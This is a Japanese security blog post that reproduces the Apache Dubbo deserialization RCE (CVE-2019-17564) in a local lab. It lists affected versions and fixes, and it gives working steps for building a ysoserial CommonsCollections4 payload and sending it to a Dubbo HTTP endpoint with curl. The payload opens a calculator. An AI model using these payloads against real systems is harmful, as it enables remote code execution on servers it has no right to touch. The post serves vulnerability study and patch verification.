まったり技術ブログ

主にWebエンジニア向けのセキュリティ情報。たまに開発も

【Webセキュリティ】Apache Dubbo の脆弱性をやる(CVE-2019-17564)

f:id:motikan2010:20200214224225p:plain

はじめに

 2020年2月10日にApache Dubbo の脆弱性が公表されました。
CVE-2019-17564が登録されたのは2019年10月14日のようです。

 本脆弱性の内容を一言で言うと、「安全でないデシリアライゼーションのJava版」です。

 こちらのメールにて Dubboプロジェクトチーム に対して本脆弱性が伝えられています。
https://www.mail-archive.com/dev@dubbo.apache.org/msg06225.html

 CVE STALKER のデイリーランキングでは7位になっています。
f:id:motikan2010:20200214001856p:plain:w600

Apache Dubbo とは

f:id:motikan2010:20200214000244p:plain:w600

Apache DubboはJavaをベースにした、オープンソースのリモートプロシージャコールフレームワークである。

 元々はアリババが開発していたものが2011年にOSSになったらしいです。

github.com

 「Apache Dubbo」で検索してみましたが日本語の記事は以下のものしか見当たりませんでした。
日本国内ではあまり普及していないソフトウェアではないかと考えられます。中国語の記事が多いイメージでした(ビリビリ動画 など)。
www.infoq.com

脆弱性について

 その 「Apache Dubbo」からデシリアライズの脆弱性(安全でないデシリアライゼーション)が発見されました。
条件さえ揃えば、この脆弱性を利用することでRCEが可能になる脆弱性です。

 Twitterのタイムラインを眺めていても、みんな電卓を起動しているようでした。

▼ Windows の電卓

▼ Mac の電卓

影響を受けるバージョン

  • Dubbo 2.7.0 ~ 2.7.4
  • Dubbo 2.6.0 ~ 2.6.7
  • Dubbo 2.5.x系 (サポートされていない)

私が確認した部分だと2.7.4.1では再現しませんでした。

解決策

  • HTTPプロトコルを無効化
  • バージョンを2.7.5以上にアップデート(2.7.5 は2019年12月29日にリリース済み)

検証環境の準備

 検証は Apache Dubbo のサンプルコードを利用することにします。これが一番簡単な構築方法だと思います。

以下のリポジトリがそのサンプルコードです。

github.com

そのサンプルコードの中でも今回はHTTPプロトコルを用いるため、dubbo-samples-http を利用します。

Apache ZooKeeper を起動

 Dubbo を起動させるために必要です。コンテナイメージが用意されていますのでそちらを利用します。

$ cd ~/IdeaProjects/dubbo-samples
$ cd java/dubbo-samples-zookeeper/src/main/resources/docker
$ docker-compose up

zookeeper - Docker Hub

アプリケーションの修正と起動

 pom.xmlで Dubbo のバージョンに 2.7.3 を指定します。
f:id:motikan2010:20200213232817p:plain

 引き続き、Apache Commons Collections バージョン4.0を依存に追加します。4.0以外では本記事のやり方ではうまくいきません。
このように特定のライブラリがソフトウェアに含まれていることが、RCEを成功させるために必要な条件の1つです。
f:id:motikan2010:20200213232821p:plain

 最後にHttpProviderを起動します。無事起動したら準備は完了となります。

脆弱性の検証

 次はペイロードの作成と実際に脆弱性を確認するところまでやってみます。

ysoserial を使ってペイロードを生成

 次に ysoserial を使ってペイロードを作成していきます。

github.com

 ysoserial がどのようなツールなのかを簡単に説明すると、デシリアライズ時に任意のJavaコードを実行するバイナリを生成するツールです。

 Javaではオブジェクトをシリアライズするとバイナリになるようになっていますので、このツールの出力結果もバイナリとなっています。
ですので、出力結果は一旦ファイルに保存する利用方法になるかと思います。本記事でもそのように利用しています。

 余談として、他言語で同様の役割をするツールとして、PHPの PHPGGC があります。
PHPのシリアライズ後の文字列はJavaより分かりやすいため、デシリアライズの脆弱性(安全でないデシリアライゼーション)の学習にはうってつけです。

// ysoserial の取得とビルド
$ git clone https://github.com/frohoff/ysoserial.git
$ cd ysoserial
$ mvn clean package -DskipTests

// Jarの確認
$ cd target/
$ ls -l ysoserial-0.0.6-SNAPSHOT-all.jar

// ペイロードの生成
// 本記事では Apache Commons Collections 4.0 を使っているので 第1引数 CommonsCollections4 を指定します。
// 第2引数には実行するコマンドを記述します。ここでは電卓が起動するように指定しています。
$ java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections4 'open -a Calculator' > poc.ser

ペイロードの中身を確認

 poc.serファイルの上部を確認してみるとマジックナンバーが「ac ed」となっています。
これはJavaのシリアライズ後のバイナリ列ということを表しています。(参考: シリアライズ : kei@sodan) f:id:motikan2010:20200213232823p:plain

ペイロードの送信

 このバイナリ列をサンプルアプリケーション対して送信してみます。HTTPクライアントは何でもよいのでcurlコマンドを用いています。

$ curl "http://127.0.0.1:8080/org.apache.dubbo.samples.http.api.DemoService" --data-binary @poc.ser

 電卓が起動し、RCEが成功したことを確認することができました。
f:id:motikan2010:20200213232826p:plain

修正版 2.7.5 で試してみる

 エラーになりました。
エラーの内容は JSON-RPCのフォーマットでないことが指摘されています。バージョンアップに伴いリクエストの形式に変更があったようです。

f:id:motikan2010:20200214224726p:plain

参考

更新履歴

  • 2020年 2月14日 新規作成